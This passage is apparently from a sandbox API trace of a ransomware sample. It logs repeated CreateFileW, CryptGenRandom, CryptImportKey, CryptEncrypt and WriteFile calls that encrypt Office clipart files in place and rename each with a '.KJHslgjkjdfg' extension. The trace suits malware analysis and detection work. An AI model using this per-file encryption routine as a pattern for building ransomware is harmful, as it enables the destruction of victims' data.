(lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086424.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086424.wmf.kjhslgjkjdfg")) returned 1 [0161.114] CloseHandle (hObject=0x114) returned 1 [0161.114] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5516, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0086426.WMF", cAlternateFileName="")) returned 1 [0161.114] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086426.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0161.115] GetProcessHeap () returned 0x2a0000 [0161.115] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0161.115] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0161.115] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0161.115] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0161.118] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.118] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.118] GetProcessHeap () returned 0x2a0000 [0161.118] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0161.118] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0161.118] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.118] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0161.118] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0161.119] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0161.119] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0161.119] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0161.119] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0161.119] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.119] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.119] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.119] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x5516, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x5516, lpOverlapped=0x0) returned 1 [0161.120] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5520, dwBufLen=0x5520 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5520) returned 1 [0161.121] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.121] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x5520, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x5520, lpOverlapped=0x0) returned 1 [0161.121] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.121] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x55f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.121] SetEndOfFile (hFile=0x114) returned 1 [0161.124] GetProcessHeap () returned 0x2a0000 [0161.124] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0161.124] GetProcessHeap () returned 0x2a0000 [0161.124] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0161.124] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086426.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086426.wmf.kjhslgjkjdfg")) returned 1 [0161.125] CloseHandle (hObject=0x114) returned 1 [0161.125] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8a12, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0086428.WMF", cAlternateFileName="")) returned 1 [0161.125] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086428.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0161.127] GetProcessHeap () returned 0x2a0000 [0161.127] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0161.127] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0161.127] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0161.127] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0161.130] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.130] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.130] GetProcessHeap () returned 0x2a0000 [0161.130] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0161.130] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0161.130] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.130] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0161.130] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0161.131] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0161.131] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0161.131] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0161.131] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0161.131] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.131] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.131] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.131] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x8a12, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x8a12, lpOverlapped=0x0) returned 1 [0161.132] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x8a20, dwBufLen=0x8a20 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x8a20) returned 1 [0161.133] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.133] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x8a20, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x8a20, lpOverlapped=0x0) returned 1 [0161.133] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.133] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x8af4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.133] SetEndOfFile (hFile=0x114) returned 1 [0161.136] GetProcessHeap () returned 0x2a0000 [0161.136] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0161.136] GetProcessHeap () returned 0x2a0000 [0161.136] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0161.137] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086428.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086428.wmf.kjhslgjkjdfg")) returned 1 [0161.138] CloseHandle (hObject=0x114) returned 1 [0161.138] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x829a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0086432.WMF", cAlternateFileName="")) returned 1 [0161.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086432.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0161.139] GetProcessHeap () returned 0x2a0000 [0161.139] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0161.139] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0161.139] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0161.139] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0161.141] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.141] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.141] GetProcessHeap () returned 0x2a0000 [0161.141] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0161.142] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0161.142] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.142] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0161.142] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0161.142] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0161.142] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0161.142] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0161.142] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0161.142] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.142] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.143] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.143] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x829a, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x829a, lpOverlapped=0x0) returned 1 [0161.144] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x82a0, dwBufLen=0x82a0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x82a0) returned 1 [0161.144] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.144] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x82a0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x82a0, lpOverlapped=0x0) returned 1 [0161.144] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.144] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x8374, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.145] SetEndOfFile (hFile=0x114) returned 1 [0161.147] GetProcessHeap () returned 0x2a0000 [0161.147] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0161.147] GetProcessHeap () returned 0x2a0000 [0161.148] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0161.148] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086432.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086432.wmf.kjhslgjkjdfg")) returned 1 [0161.151] CloseHandle (hObject=0x114) returned 1 [0161.151] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x375e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0086478.WMF", cAlternateFileName="")) returned 1 [0161.151] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086478.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0161.152] GetProcessHeap () returned 0x2a0000 [0161.152] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0161.152] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0161.152] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0161.152] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0161.154] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.154] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.154] GetProcessHeap () returned 0x2a0000 [0161.154] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0161.154] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0161.154] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.155] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0161.155] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0161.155] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0161.155] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0161.155] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0161.155] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0161.155] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.155] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.155] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.155] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x375e, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x375e, lpOverlapped=0x0) returned 1 [0161.157] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3760, dwBufLen=0x3760 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3760) returned 1 [0161.157] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.157] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3760, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3760, lpOverlapped=0x0) returned 1 [0161.157] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.157] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3834, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.157] SetEndOfFile (hFile=0x114) returned 1 [0161.160] GetProcessHeap () returned 0x2a0000 [0161.160] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0161.160] GetProcessHeap () returned 0x2a0000 [0161.161] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0161.161] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086478.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086478.wmf.kjhslgjkjdfg")) returned 1 [0161.162] CloseHandle (hObject=0x114) returned 1 [0161.162] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4dba, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0089945.WMF", cAlternateFileName="")) returned 1 [0161.162] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089945.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0161.163] GetProcessHeap () returned 0x2a0000 [0161.163] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0161.163] CryptGenRandom (in: hProv=0x2bcb08, 